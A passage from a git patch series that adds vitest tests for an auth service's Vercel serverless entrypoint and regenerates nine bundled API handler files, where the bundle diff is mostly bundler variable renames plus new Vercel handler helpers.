Promise => { diff --git a/services/auth/test/entrypoint.test.ts b/services/auth/test/entrypoint.test.ts new file mode 100644 index 0000000..9e02c88 --- /dev/null +++ b/services/auth/test/entrypoint.test.ts @@ -0,0 +1,160 @@ +import { createServer, type IncomingMessage, type ServerResponse } from 'node:http'; +import type { AddressInfo } from 'node:net'; +import type { FastifyInstance } from 'fastify'; +import { afterEach, describe, expect, it, vi } from 'vitest'; +import type * as AtlasDb from '@atlas/db'; + +// The entrypoint builds env, logger, db and app at module scope, so every case re-imports it +// against a fresh environment. postgres.js connects lazily, which is why loading the module needs +// no live database; only the case that expects a healthy /health does, and it self-skips when +// ATLAS_TEST_DATABASE_URL is unset (see .env.example). +const testDatabaseUrl = process.env.ATLAS_TEST_DATABASE_URL; +// Nothing listens on port 1, so /health reports a degraded database instead of hanging. +const UNREACHABLE_DATABASE_URL = 'postgres://atlas:atlas@127.0.0.1:1/atlas_auth_entrypoint_unreachable'; + +const tracked = vi.hoisted(() => ({ + closers: [] as Array<() => Promise>, +})); + +vi.mock('@atlas/db', async (importOriginal) => { + const actual = await importOriginal(); + return { + ...actual, + // Track every pool the entrypoint opens so each case can close it. + createDatabase: (options: Parameters[0]) => { + const handle = actual.createDatabase(options); + tracked.closers.push(() => handle.close()); + return handle; + }, + }; +}); + +const loadedApps: FastifyInstance[] = []; +const baselineSignalListeners = { + SIGTERM: process.listeners('SIGTERM'), + SIGINT: process.listeners('SIGINT'), +}; + +async function loadEntrypoint(overrides: Record = {}) { + vi.resetModules(); + const env: Record = { + VERCEL: '1', + LOG_LEVEL: 'fatal', + HOST: '127.0.0.1', + DATABASE_URL: UNREACHABLE_DATABASE_URL, + SUPABASE_URL: 'https://test-project.supabase.co', + // Vercel does not provide a PORT; the entrypoint must cope without one. + PORT: undefined, + AUTH_SERVICE_PORT: undefined, + ...overrides, + }; + for (const [key, value] of Object.entries(env)) vi.stubEnv(key, value); + + const entrypoint = await import('../src/index.js'); + loadedApps.push(entrypoint.app); + return entrypoint; +} + +async function freePort(): Promise { + const probe = createServer(); + await new Promise((resolve) => probe.listen(0, '127.0.0.1', resolve)); + const { port } = probe.address() as AddressInfo; + await new Promise((resolve) => probe.close(() => resolve())); + return port; +} + +/** Serves one GET through `handler` over a real socket, the way Vercel hands it a request. */ +async function getThrough( + handler: (req: IncomingMessage, res: ServerResponse) => Promise, + path: string, +): Promise<{ status: number; body: { status: string; service: string; checks: unknown } }> { + const server = createServer((req, res) => { + handler(req, res).catch(() => { + res.statusCode = 500; + res.end(); + }); + }); + await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve)); + try { + const { port } = server.address() as AddressInfo; + const response = await fetch('http://127.0.0.1:' + port + path); + return { status: response.status, body: (await response.json()) as never }; + } finally { + server.closeAllConnections(); + await new Promise((resolve) => server.close(() => resolve())); + } +} + +afterEach(async () => { + vi.unstubAllEnvs(); + await Promise.all(loadedApps.splice(0).map((app) => app.close())); + await Promise.all(tracked.closers.splice(0).map((close) => close())); + for (const signal of ['SIGTERM', 'SIGINT'] as const) { + for (const listener of process.listeners(signal)) { + if (!baselineSignalListeners[signal].includes(listener)) process.off(signal, listener); + } + } +}); + +describe('auth-service Vercel entrypoint', () => { + it('loads without a PORT, exports a request handler and does not bind a socket', async () => { + const entrypoint = await loadEntrypoint(); + + expect(typeof entrypoint.default).toBe('function'); + expect(entrypoint.app.server.listening).toBe(false); + expect(entrypoint.app.addresses()).toEqual([]); + // Shutdown handlers belong to the long-lived local process only. + expect(process.listeners('SIGTERM')).toEqual(baselineSignalListeners.SIGTERM); + expect(process.listeners('SIGINT')).toEqual(baselineSignalListeners.SIGINT); + }); + + it('serves /health through the default handler without any live infrastructure', async () => { + const { default: handler } = await loadEntrypoint(); + + const { status, body } = await getThrough(handler, '/health'); + + expect(status).toBe(503); + expect(body).toMatchObject({ + status: 'degraded', + service: 'auth-service', + checks: { database: 'fail' }, + }); + }); + + it.skipIf(!testDatabaseUrl)( + 'reports healthy through app.inject and the default handler when the database is reachable', + async () => { + const { app, default: handler } = await loadEntrypoint({ DATABASE_URL: testDatabaseUrl }); + + const injected = await app.inject({ method: 'GET', url: '/health' }); + expect(injected.statusCode).toBe(200); + expect(injected.json()).toMatchObject({ status: 'ok', service: 'auth-service' }); + + const { status, body } = await getThrough(handler, '/health'); + expect(status).toBe(200); + expect(body).toMatchObject({ status: 'ok', service: 'auth-service' }); + }, + ); + + it('only defaults PORT: other missing configuration still fails fast on Vercel', async () => { + const error = await loadEntrypoint({ DATABASE_URL: undefined }).then( + () => undefined, + (cause: unknown) => cause as Error, + ); + + expect(error?.name).toBe('ConfigError'); + expect(error?.message).toContain('DATABASE_URL'); + expect(error?.message).not.toContain('PORT'); + }); + + it('keeps local dev intact: outside Vercel it listens on PORT and installs shutdown handlers', async () => { + const port = await freePort(); + + const entrypoint = await loadEntrypoint({ VERCEL: undefined, PORT: String(port) }); + + expect(entrypoint.app.server.listening).toBe(true); + expect((entrypoint.app.server.address() as AddressInfo).port).toBe(port); + expect(process.listeners('SIGTERM')).toHaveLength(baselineSignalListeners.SIGTERM.length + 1); + expect(process.listeners('SIGINT')).toHaveLength(baselineSignalListeners.SIGINT.length + 1); + }); +}); From bacbb381baca22f6e91737d854ded8562b705aaa Mon Sep 17 00:00:00 2001 From: Claude Date: Tue, 27 Oct 2026 12:14:44 +0000 Subject: [PATCH 11/91] chore(api): regenerate committed bundles for serverless entrypoints Rebuild api/*/index.js with scripts/bundle-backend.mjs so the deployed functions carry the new Vercel handler exports (createVercelHandler, withServerlessEnvDefaults) for all nine services. Co-Authored-By: Claude Sonnet 5.5 Claude-Session: https://claude.ai/code/session_01BdqVHQRXj76uudaef6gTD1 --- api/analytics/index.js | 448 ++++++++++++++-------------- api/applications/index.js | 496 ++++++++++++++++--------------- api/auth/index.js | 257 ++++++++-------- api/jobs/index.js | 492 ++++++++++++++++--------------- api/learning/index.js | 448 ++++++++++++++-------------- api/matching/index.js | 448 ++++++++++++++-------------- api/outreach/index.js | 524 +++++++++++++++++---------------- api/profile/index.js | 596 +++++++++++++++++++------------------- api/referrals/index.js | 500 ++++++++++++++++---------------- 9 files changed, 2174 insertions(+), 2035 deletions(-) diff --git a/api/analytics/index.js b/api/analytics/index.js index d9df51e..852a905 100644 --- a/api/analytics/index.js +++ b/api/analytics/index.js @@ -10463,13 +10463,13 @@ var require_format = __commonJS({ var defs = require_defs(); var format = __require("util").format; var HEARTBEAT = require_frame().HEARTBEAT; - module.exports.closeMessage = function(close) { - var code = close.fields.replyCode; + module.exports.closeMessage = function(close2) { + var code = close2.fields.replyCode; return format( '%d (%s) with message "%s"', code, defs.constant_strs[code], - close.fields.replyText + close2.fields.replyText ); }; module.exports.methodName = function(id) { @@ -21626,8 +21626,8 @@ var require_log_controller = __commonJS({ * @param {import('../fastify').FastifyBaseLogger} logger * @param {import('../fastify').FastifyInstance} server */ - serviceUnavailable(logger, server) { - logger.info({ res: { statusCode: 503 } }, "request aborted - refusing to accept new requests as server is closing"); + serviceUnavailable(logger2, server) { + logger2.info({ res: { statusCode: 503 } }, "request aborted - refusing to accept new requests as server is closing"); } }; module.exports = { LogController }; @@ -21674,20 +21674,20 @@ var require_logger_pino = __commonJS({ } const prevLogger = opts.logger; const prevGenReqId = opts.genReqId; - let logger = null; + let logger2 = null; if (prevLogger) { opts.logger = void 0; opts.genReqId = void 0; if (prevLogger[serializersSym]) { opts.serializers = Object.assign({}, opts.serializers, prevLogger[serializersSym]); } - logger = prevLogger.child({}, opts); + logger2 = prevLogger.child({}, opts); opts.logger = prevLogger; opts.genReqId = prevGenReqId; } else { - logger = pino2(opts, opts.stream); + logger2 = pino2(opts, opts.stream); } - return logger; + return logger2; } var serializers2 = { req: function asReqValue(req) { @@ -21730,22 +21730,22 @@ var require_logger_factory = __commonJS({ kLogController } = require_symbols3(); var { LogController } = require_log_controller(); - function createChildLogger(context2, logger, req, reqId, loggerOpts) { + function createChildLogger(context2, logger2, req, reqId, loggerOpts) { const loggerBindings = { [context2.server[kLogController].requestIdLogLabel]: reqId }; - const child = context2.childLoggerFactory.call(context2.server, logger, loggerBindings, loggerOpts || {}, req); + const child = context2.childLoggerFactory.call(context2.server, logger2, loggerBindings, loggerOpts || {}, req); if (context2.childLoggerFactory !== defaultChildLoggerFactory) { validateLogger(child, true); } return child; } - function defaultChildLoggerFactory(logger, bindings, opts) { - return logger.child(bindings, opts); + function defaultChildLoggerFactory(logger2, bindings, opts) { + return logger2.child(bindings, opts); } - function validateLogger(logger, strict) { + function validateLogger(logger2, strict) { const methods = ["info", "error", "debug", "fatal", "warn", "trace", "child"]; - const missingMethods = logger ? methods.filter((method) => !logger[method] || typeof logger[method] !== "function") : methods; + const missingMethods = logger2 ? methods.filter((method) => !logger2[method] || typeof logger2[method] !== "function") : methods; if (!missingMethods.length) { return true; } else if (missingMethods.length === methods.length && !strict) { @@ -21760,17 +21760,17 @@ var require_logger_factory = __commonJS({ } if (!options.loggerInstance && !options.logger) { const nullLogger = require_abstract_logging(); - const logger2 = nullLogger; - logger2.child = () => logger2; - return { logger: logger2, hasLogger: false }; + const logger3 = nullLogger; + logger3.child = () => logger3; + return { logger: logger3, hasLogger: false }; } const { createPinoLogger, serializers: serializers2 } = require_logger_pino(); if (validateLogger(options.loggerInstance)) { - const logger2 = createPinoLogger({ + const logger3 = createPinoLogger({ logger: options.loggerInstance, serializers: Object.assign({}, serializers2, options.loggerInstance.serializers) }); - return { logger: logger2, hasLogger: true }; + return { logger: logger3, hasLogger: true }; } if (validateLogger(options.logger)) { throw FST_ERR_LOG_INVALID_LOGGER_CONFIG(); @@ -21792,8 +21792,8 @@ var require_logger_factory = __commonJS({ localLoggerOptions.level = localLoggerOptions.level || "info"; localLoggerOptions.serializers = Object.assign({}, serializers2, localLoggerOptions.serializers); options.logger = localLoggerOptions; - const logger = createPinoLogger(options.logger); - return { logger, hasLogger: true }; + const logger2 = createPinoLogger(options.logger); + return { logger: logger2, hasLogger: true }; } function createLogController(options) { const userController = options.logController; @@ -22204,8 +22204,8 @@ var require_error_serializer = __commonJS({ json3 += JSON_STR_END_OBJECT; return json3; } - const main2 = anonymous0; - return main2; + const main = anonymous0; + return main; }(validator, serializer); } }); @@ -28097,20 +28097,20 @@ var require_compile = __commonJS({ var util_1 = require_util(); var validate_1 = require_validate(); var SchemaEnv = class { - constructor(env) { + constructor(env2) { var _a3; this.refs = {}; this.dynamicAnchors = {}; let schema; - if (typeof env.schema == "object") - schema = env.schema; - this.schema = env.schema; - this.schemaId = env.schemaId; - this.root = env.root || this; - this.baseId = (_a3 = env.baseId) !== null && _a3 !== void 0 ? _a3 : (0, resolve_1.normalizeId)(schema === null || schema === void 0 ? void 0 : schema[env.schemaId || "$id"]); - this.schemaPath = env.schemaPath; - this.localRefs = env.localRefs; - this.meta = env.meta; + if (typeof env2.schema == "object") + schema = env2.schema; + this.schema = env2.schema; + this.schemaId = env2.schemaId; + this.root = env2.root || this; + this.baseId = (_a3 = env2.baseId) !== null && _a3 !== void 0 ? _a3 : (0, resolve_1.normalizeId)(schema === null || schema === void 0 ? void 0 : schema[env2.schemaId || "$id"]); + this.schemaPath = env2.schemaPath; + this.localRefs = env2.localRefs; + this.meta = env2.meta; this.$async = schema === null || schema === void 0 ? void 0 : schema.$async; this.refs = {}; } @@ -28294,15 +28294,15 @@ var require_compile = __commonJS({ baseId = (0, resolve_1.resolveUrl)(this.opts.uriResolver, baseId, schId); } } - let env; + let env2; if (typeof schema != "boolean" && schema.$ref && !(0, util_1.schemaHasRulesButRef)(schema, this.RULES)) { const $ref = (0, resolve_1.resolveUrl)(this.opts.uriResolver, baseId, schema.$ref); - env = resolveSchema.call(this, root, $ref); + env2 = resolveSchema.call(this, root, $ref); } const { schemaId } = this.opts; - env = env || new SchemaEnv({ schema, schemaId, root, baseId }); - if (env.schema !== env.root.schema) - return env; + env2 = env2 || new SchemaEnv({ schema, schemaId, root, baseId }); + if (env2.schema !== env2.root.schema) + return env2; return void 0; } } @@ -29989,13 +29989,13 @@ var require_core = __commonJS({ }, warn() { }, error() { } }; - function getLogger(logger) { - if (logger === false) + function getLogger(logger2) { + if (logger2 === false) return noLogs; - if (logger === void 0) + if (logger2 === void 0) return console; - if (logger.log && logger.warn && logger.error) - return logger; + if (logger2.log && logger2.warn && logger2.error) + return logger2; throw new Error("logger must implement log, warn and error methods"); } var KEYWORD_NAME = /^[a-z_$][a-z0-9_$:-]*$/i; @@ -30100,8 +30100,8 @@ var require_ref = __commonJS({ schemaType: "string", code(cxt) { const { gen, schema: $ref, it } = cxt; - const { baseId, schemaEnv: env, validateName, opts, self: self2 } = it; - const { root } = env; + const { baseId, schemaEnv: env2, validateName, opts, self: self2 } = it; + const { root } = env2; if (($ref === "#" || $ref === "#/") && baseId === root.baseId) return callRootRef(); const schOrEnv = compile_1.resolveRef.call(self2, root, baseId, $ref); @@ -30111,8 +30111,8 @@ var require_ref = __commonJS({ return callValidate(schOrEnv); return inlineRefSchema(schOrEnv); function callRootRef() { - if (env === root) - return callRef(cxt, validateName, env, env.$async); + if (env2 === root) + return callRef(cxt, validateName, env2, env2.$async); const rootName = gen.scopeValue("root", { ref: root }); return callRef(cxt, (0, codegen_1._)`${rootName}.validate`, root, root.$async); } @@ -30142,14 +30142,14 @@ var require_ref = __commonJS({ exports.getValidate = getValidate; function callRef(cxt, v, sch, $async) { const { gen, it } = cxt; - const { allErrors, schemaEnv: env, opts } = it; + const { allErrors, schemaEnv: env2, opts } = it; const passCxt = opts.passContext ? names_1.default.this : codegen_1.nil; if ($async) callAsyncRef(); else callSyncRef(); function callAsyncRef() { - if (!env.$async) + if (!env2.$async) throw new Error("async schema referenced by sync schema"); const valid = gen.let("valid"); gen.try(() => { @@ -44649,7 +44649,7 @@ var require_route = __commonJS({ const router = FindMyWay(options); let avvio; let fourOhFour; - let logger; + let logger2; let hasLogger; let setupResponseListeners; let throwIfAlreadyStarted; @@ -44667,7 +44667,7 @@ var require_route = __commonJS({ setup(options2, fastifyArgs) { avvio = fastifyArgs.avvio; fourOhFour = fastifyArgs.fourOhFour; - logger = options2.logger; + logger2 = options2.logger; hasLogger = fastifyArgs.hasLogger; setupResponseListeners = fastifyArgs.setupResponseListeners; throwIfAlreadyStarted = fastifyArgs.throwIfAlreadyStarted; @@ -44811,7 +44811,7 @@ var require_route = __commonJS({ opts.routePath = path2; opts.prefix = prefix; opts.logLevel = opts.logLevel || this[kLogLevel]; - validateLogLevelOption(opts.logLevel, opts.method, opts.url, logger); + validateLogLevelOption(opts.logLevel, opts.method, opts.url, logger2); if (this[kLogSerializers] || opts.logSerializers) { opts.logSerializers = Object.assign(Object.create(this[kLogSerializers]), opts.logSerializers); } @@ -44949,7 +44949,7 @@ var require_route = __commonJS({ const id = getGenReqId(context2.server, req); let childLogger; if (hasLogger === false && context2.childLoggerFactory === defaultChildLoggerFactory) { - childLogger = logger; + childLogger = logger2; } else { const loggerOpts = { level: context2.logLevel @@ -44957,7 +44957,7 @@ var require_route = __commonJS({ if (context2.logSerializers) { loggerOpts.serializers = context2.logSerializers; } - childLogger = createChildLogger(context2, logger, req, id, loggerOpts); + childLogger = createChildLogger(context2, logger2, req, id, loggerOpts); } if (closing === true) { if (req.httpVersionMajor !== 2) { @@ -45082,10 +45082,10 @@ var require_route = __commonJS({ throw new FST_ERR_ROUTE_HANDLER_TIMEOUT_OPTION_NOT_INT(handlerTimeout); } } - function validateLogLevelOption(logLevel, method, path, logger) { + function validateLogLevelOption(logLevel, method, path, logger2) { if (logLevel == null || logLevel === "") return; - if (logger?.levels?.values == null) return; - if (typeof logLevel !== "string" || logger.levels.values[logLevel] === void 0) { + if (logger2?.levels?.values == null) return; + if (typeof logLevel !== "string" || logger2.levels.values[logLevel] === void 0) { throw new FST_ERR_ROUTE_LOG_LEVEL_INVALID(method, path, logLevel); } } @@ -45150,7 +45150,7 @@ var require_four_oh_four = __commonJS({ var { createChildLogger } = require_logger_factory(); var { getGenReqId } = require_req_id_gen_factory(); function fourOhFour(options) { - const { logger } = options; + const { logger: logger2 } = options; const router = FindMyWay({ onBadUrl: options.routerOptions.onBadUrl, onMaxParamLength: options.routerOptions.onMaxParamLength, @@ -45246,7 +45246,7 @@ var require_four_oh_four = __commonJS({ function fourOhFourFallBack(req, res) { const fourOhFourContext = this[kFourOhFourLevelInstance][kFourOhFourContext]; const id = getGenReqId(fourOhFourContext.server, req); - const childLogger = createChildLogger(fourOhFourContext, logger, req, id); + const childLogger = createChildLogger(fourOhFourContext, logger2, req, id); const request = new Request(id, null, req, null, childLogger, fourOhFourContext); const reply = new Reply(res, request, childLogger); fourOhFourContext.server[kLogController].incomingRequest(request, reply); @@ -47955,7 +47955,7 @@ var require_fastify = __commonJS({ opts.includeMeta = opts.includeHooks ? opts.includeMeta ? supportedHooks.concat(opts.includeMeta) : supportedHooks : opts.includeMeta; return router.printRoutes(opts); } - function wrapRouting(router2, { rewriteUrl, logger }) { + function wrapRouting(router2, { rewriteUrl, logger: logger2 }) { let isAsync; return function preRouting(req, res) { if (isAsync === void 0) isAsync = router2.isAsyncConstraint(); @@ -48033,13 +48033,13 @@ var require_fastify = __commonJS({ if (!ajvOptions.plugins || !Array.isArray(ajvOptions.plugins)) { throw new FST_ERR_AJV_CUSTOM_OPTIONS_OPT_NOT_ARR(typeof ajvOptions.plugins); } - const { logger, hasLogger } = createLogger2(options); + const { logger: logger2, hasLogger } = createLogger2(options); const logController = createLogController(options); options.connectionTimeout = options.connectionTimeout || defaultInitOptions.connectionTimeout; options.keepAliveTimeout = options.keepAliveTimeout || defaultInitOptions.keepAliveTimeout; options.maxRequestsPerSocket = options.maxRequestsPerSocket || defaultInitOptions.maxRequestsPerSocket; options.requestTimeout = options.requestTimeout || defaultInitOptions.requestTimeout; - options.logger = logger; + options.logger = logger2; options.requestIdHeader = requestIdHeader; options.ajv = ajvOptions; options.clientErrorHandler = options.clientErrorHandler || defaultClientErrorHandler; @@ -50747,11 +50747,11 @@ var init_global_utils = __esm({ // node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/diag/ComponentLogger.js function logProxy(funcName, namespace, args) { - const logger = getGlobal("diag"); - if (!logger) { + const logger2 = getGlobal("diag"); + if (!logger2) { return; } - return logger[funcName](namespace, ...args); + return logger2[funcName](namespace, ...args); } var DiagComponentLogger; var init_ComponentLogger = __esm({ @@ -50797,17 +50797,17 @@ var init_types = __esm({ }); // node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/diag/internal/logLevelLogger.js -function createLogLevelDiagLogger(maxLevel, logger) { +function createLogLevelDiagLogger(maxLevel, logger2) { if (maxLevel < DiagLogLevel.NONE) { maxLevel = DiagLogLevel.NONE; } else if (maxLevel > DiagLogLevel.ALL) { maxLevel = DiagLogLevel.ALL; } - logger = logger || {}; + logger2 = logger2 || {}; function _filterFunc(funcName, theLevel) { - const theFunc = logger[funcName]; + const theFunc = logger2[funcName]; if (typeof theFunc === "function" && maxLevel >= theLevel) { - return theFunc.bind(logger); + return theFunc.bind(logger2); } return function() { }; @@ -50850,16 +50850,16 @@ var init_diag = __esm({ constructor() { function _logProxy(funcName) { return function(...args) { - const logger = getGlobal("diag"); - if (!logger) + const logger2 = getGlobal("diag"); + if (!logger2) return; - return logger[funcName](...args); + return logger2[funcName](...args); }; } const self2 = this; - const setLogger = (logger, optionsOrLogLevel = { logLevel: DiagLogLevel.INFO }) => { + const setLogger = (logger2, optionsOrLogLevel = { logLevel: DiagLogLevel.INFO }) => { var _a3, _b, _c; - if (logger === self2) { + if (logger2 === self2) { const err = new Error("Cannot use diag as the logger for itself. Please use a DiagLogger implementation like ConsoleDiagLogger or a custom implementation"); self2.error((_a3 = err.stack) !== null && _a3 !== void 0 ? _a3 : err.message); return false; @@ -50870,7 +50870,7 @@ var init_diag = __esm({ }; } const oldLogger = getGlobal("diag"); - const newLogger = createLogLevelDiagLogger((_b = optionsOrLogLevel.logLevel) !== null && _b !== void 0 ? _b : DiagLogLevel.INFO, logger); + const newLogger = createLogLevelDiagLogger((_b = optionsOrLogLevel.logLevel) !== null && _b !== void 0 ? _b : DiagLogLevel.INFO, logger2); if (oldLogger && !optionsOrLogLevel.suppressOverrideMessage) { const stack = (_c = new Error().stack) !== null && _c !== void 0 ? _c : ""; oldLogger.warn(`Current logger will be overwritten from ${stack}`); @@ -53951,6 +53951,21 @@ function backoffDelayMs(attempt, options = {}, random = Math.random) { return Math.max(0, Math.round(exponential + offset)); } +// packages/utils/src/vercel.ts +function createVercelHandler(app2) { + const ready = Promise.resolve(app2.ready()); + ready.catch(() => void 0); + return async (req, res) => { + await ready; + app2.server.emit("request", req, res); + }; +} +var SERVERLESS_PLACEHOLDER_PORT = "3000"; +function withServerlessEnvDefaults(source = process.env) { + if (!source.VERCEL) return source; + return { ...source, PORT: source.PORT ?? SERVERLESS_PLACEHOLDER_PORT }; +} + // node_modules/.pnpm/jose@6.2.12/node_modules/jose/dist/webapi/lib/buffer_utils.js var encoder = new TextEncoder(); var decoder = new TextDecoder(); @@ -69785,8 +69800,8 @@ var listMessagesResponseSchema = external_exports.object({ }); // packages/auth-kit/src/tokens.ts -function createTokenVerifierConfig(env) { - const authBase = `${env.SUPABASE_URL}/auth/v1`; +function createTokenVerifierConfig(env2) { + const authBase = `${env2.SUPABASE_URL}/auth/v1`; return { jwks: createRemoteJWKSet(new URL(`${authBase}/.well-known/jwks.json`)), issuer: authBase @@ -71287,7 +71302,7 @@ var noop2 = () => { function Subscribe(postgres2, options) { const subscribers = /* @__PURE__ */ new Map(), slot = "postgresjs_" + Math.random().toString(36).slice(2), state = {}; let connection2, stream, ended = false; - const sql2 = subscribe.sql = postgres2({ + const sql3 = subscribe.sql = postgres2({ ...options, transform: { column: {}, value: {}, row: {} }, max: 1, @@ -71303,26 +71318,26 @@ function Subscribe(postgres2, options) { return; stream = null; state.pid = state.secret = void 0; - connected(await init(sql2, slot, options.publications)); + connected(await init(sql3, slot, options.publications)); subscribers.forEach((event) => event.forEach(({ onsubscribe }) => onsubscribe())); }, no_subscribe: true }); - const end = sql2.end, close = sql2.close; - sql2.end = async () => { + const end = sql3.end, close2 = sql3.close; + sql3.end = async () => { ended = true; stream && await new Promise((r) => (stream.once("close", r), stream.end())); return end(); }; - sql2.close = async () => { + sql3.close = async () => { stream && await new Promise((r) => (stream.once("close", r), stream.end())); - return close(); + return close2(); }; return subscribe; async function subscribe(event, fn, onsubscribe = noop2, onerror = noop2) { event = parseEvent2(event); if (!connection2) - connection2 = init(sql2, slot, options.publications); + connection2 = init(sql3, slot, options.publications); const subscriber = { fn, onsubscribe }; const fns = subscribers.has(event) ? subscribers.get(event).add(subscriber) : subscribers.set(event, /* @__PURE__ */ new Set([subscriber])).get(event); const unsubscribe = () => { @@ -71333,7 +71348,7 @@ function Subscribe(postgres2, options) { connected(x); onsubscribe(); stream && stream.on("error", onerror); - return { unsubscribe, state, sql: sql2 }; + return { unsubscribe, state, sql: sql3 }; }); } function connected(x) { @@ -71341,14 +71356,14 @@ function Subscribe(postgres2, options) { state.pid = x.state.pid; state.secret = x.state.secret; } - async function init(sql3, slot2, publications) { + async function init(sql4, slot2, publications) { if (!publications) throw new Error("Missing publication names"); - const xs = await sql3.unsafe( + const xs = await sql4.unsafe( `CREATE_REPLICATION_SLOT ${slot2} TEMPORARY LOGICAL pgoutput NOEXPORT_SNAPSHOT` ); const [x] = xs; - const stream2 = await sql3.unsafe( + const stream2 = await sql4.unsafe( `START_REPLICATION SLOT ${slot2} LOGICAL ${x.consistent_point} (proto_version '1', publication_names '${publications}')` ).writable(); const state2 = { @@ -71356,14 +71371,14 @@ function Subscribe(postgres2, options) { }; stream2.on("data", data); stream2.on("error", error51); - stream2.on("close", sql3.close); + stream2.on("close", sql4.close); return { stream: stream2, state: xs.state }; function error51(e) { console.error("Unexpected error during logical streaming - reconnecting", e); } function data(x2) { if (x2[0] === 119) { - parse3(x2.subarray(25), state2, sql3.options.parsers, handle, options.transform); + parse3(x2.subarray(25), state2, sql4.options.parsers, handle, options.transform); } else if (x2[0] === 107 && x2[17]) { state2.lsn = x2.subarray(1, 9); pong(); @@ -71495,22 +71510,22 @@ function parseEvent2(x) { // node_modules/.pnpm/postgres@3.4.9/node_modules/postgres/src/large.js import Stream2 from "stream"; -function largeObject(sql2, oid, mode = 131072 | 262144) { +function largeObject(sql3, oid, mode = 131072 | 262144) { return new Promise(async (resolve, reject) => { - await sql2.begin(async (sql3) => { + await sql3.begin(async (sql4) => { let finish; - !oid && ([{ oid }] = await sql3`select lo_creat(-1) as oid`); - const [{ fd }] = await sql3`select lo_open(${oid}, ${mode}) as fd`; + !oid && ([{ oid }] = await sql4`select lo_creat(-1) as oid`); + const [{ fd }] = await sql4`select lo_open(${oid}, ${mode}) as fd`; const lo = { writable, readable, - close: () => sql3`select lo_close(${fd})`.then(finish), - tell: () => sql3`select lo_tell64(${fd})`, - read: (x) => sql3`select loread(${fd}, ${x}) as data`, - write: (x) => sql3`select lowrite(${fd}, ${x})`, - truncate: (x) => sql3`select lo_truncate64(${fd}, ${x})`, - seek: (x, whence = 0) => sql3`select lo_lseek64(${fd}, ${x}, ${whence})`, - size: () => sql3` + close: () => sql4`select lo_close(${fd})`.then(finish), + tell: () => sql4`select lo_tell64(${fd})`, + read: (x) => sql4`select loread(${fd}, ${x}) as data`, + write: (x) => sql4`select lowrite(${fd}, ${x})`, + truncate: (x) => sql4`select lo_truncate64(${fd}, ${x})`, + seek: (x, whence = 0) => sql4`select lo_lseek64(${fd}, ${x}, ${whence})`, + size: () => sql4` select lo_lseek64(${fd}, location, 0) as position, seek.size @@ -71585,12 +71600,12 @@ function Postgres(a, b2) { let ending = false; const queries = queue_default(), connecting = queue_default(), reserved = queue_default(), closed = queue_default(), ended = queue_default(), open = queue_default(), busy = queue_default(), full = queue_default(), queues = { connecting, reserved, closed, ended, open, busy, full }; const connections = [...Array(options.max)].map(() => connection_default(options, queues, { onopen, onend, onclose })); - const sql2 = Sql(handler); - Object.assign(sql2, { + const sql3 = Sql(handler); + Object.assign(sql3, { get parameters() { return options.parameters; }, - largeObject: largeObject.bind(null, sql2), + largeObject: largeObject.bind(null, sql3), subscribe, CLOSE, END: CLOSE, @@ -71599,17 +71614,17 @@ function Postgres(a, b2) { reserve, listen, begin, - close, + close: close2, end }); - return sql2; + return sql3; function Sql(handler2) { handler2.debug = options.debug; Object.entries(options.types).reduce((acc, [name, type]) => { acc[name] = (x) => new Parameter(x, type.to); return acc; }, typed); - Object.assign(sql3, { + Object.assign(sql4, { types: typed, typed, unsafe, @@ -71618,11 +71633,11 @@ function Postgres(a, b2) { json: json3, file: file2 }); - return sql3; + return sql4; function typed(value, type) { return new Parameter(value, type); } - function sql3(strings, ...args) { + function sql4(strings, ...args) { const query = strings && Array.isArray(strings.raw) ? new Query(strings, args, handler2, cancel) : typeof strings === "string" && !args.length ? new Identifier(options.transform.column.to ? options.transform.column.to(strings) : strings) : new Builder(strings, args); return query; } @@ -71653,7 +71668,7 @@ function Postgres(a, b2) { } async function listen(name, fn, onlisten) { const listener = { fn, onlisten }; - const sql3 = listen.sql || (listen.sql = Postgres({ + const sql4 = listen.sql || (listen.sql = Postgres({ ...options, max: 1, idle_timeout: null, @@ -71677,7 +71692,7 @@ function Postgres(a, b2) { listener.onlisten && listener.onlisten(); return { state: result2.state, unlisten }; } - channels[name] = { result: sql3`listen ${sql3.unsafe('"' + name.replace(/"/g, '""') + '"')}`, listeners: [listener] }; + channels[name] = { result: sql4`listen ${sql4.unsafe('"' + name.replace(/"/g, '""') + '"')}`, listeners: [listener] }; const result = await channels[name].result; listener.onlisten && listener.onlisten(); return { state: result.state, unlisten }; @@ -71688,11 +71703,11 @@ function Postgres(a, b2) { if (channels[name].listeners.length) return; delete channels[name]; - return sql3`unlisten ${sql3.unsafe('"' + name.replace(/"/g, '""') + '"')}`; + return sql4`unlisten ${sql4.unsafe('"' + name.replace(/"/g, '""') + '"')}`; } } async function notify(channel, payload) { - return await sql2`select pg_notify(${channel}, ${"" + payload})`; + return await sql3`select pg_notify(${channel}, ${"" + payload})`; } async function reserve() { const queue = queue_default(); @@ -71704,12 +71719,12 @@ function Postgres(a, b2) { move(c, reserved); c.reserved = () => queue.length ? c.execute(queue.shift()) : move(c, reserved); c.reserved.release = true; - const sql3 = Sql(handler2); - sql3.release = () => { + const sql4 = Sql(handler2); + sql4.release = () => { c.reserved = null; onopen(c); }; - return sql3; + return sql4; function handler2(q) { c.queue === full ? queue.push(q) : c.execute(q) || move(c, full); } @@ -71719,7 +71734,7 @@ function Postgres(a, b2) { const queries2 = queue_default(); let savepoints = 0, connection2, prepare = null; try { - await sql2.unsafe("begin " + options2.replace(/[^a-z ]/ig, ""), [], { onexecute }).execute(); + await sql3.unsafe("begin " + options2.replace(/[^a-z ]/ig, ""), [], { onexecute }).execute(); return await Promise.race([ scope(connection2, fn), new Promise((_, reject) => connection2.onclose = reject) @@ -71728,29 +71743,29 @@ function Postgres(a, b2) { throw error51; } async function scope(c, fn2, name) { - const sql3 = Sql(handler2); - sql3.savepoint = savepoint; - sql3.prepare = (x) => prepare = x.replace(/[^a-z0-9$-_. ]/gi); + const sql4 = Sql(handler2); + sql4.savepoint = savepoint; + sql4.prepare = (x) => prepare = x.replace(/[^a-z0-9$-_. ]/gi); let uncaughtError, result; - name && await sql3`savepoint ${sql3(name)}`; + name && await sql4`savepoint ${sql4(name)}`; try { result = await new Promise((resolve, reject) => { - const x = fn2(sql3); + const x = fn2(sql4); Promise.resolve(Array.isArray(x) ? Promise.all(x) : x).then(resolve, reject); }); if (uncaughtError) throw uncaughtError; } catch (e) { - 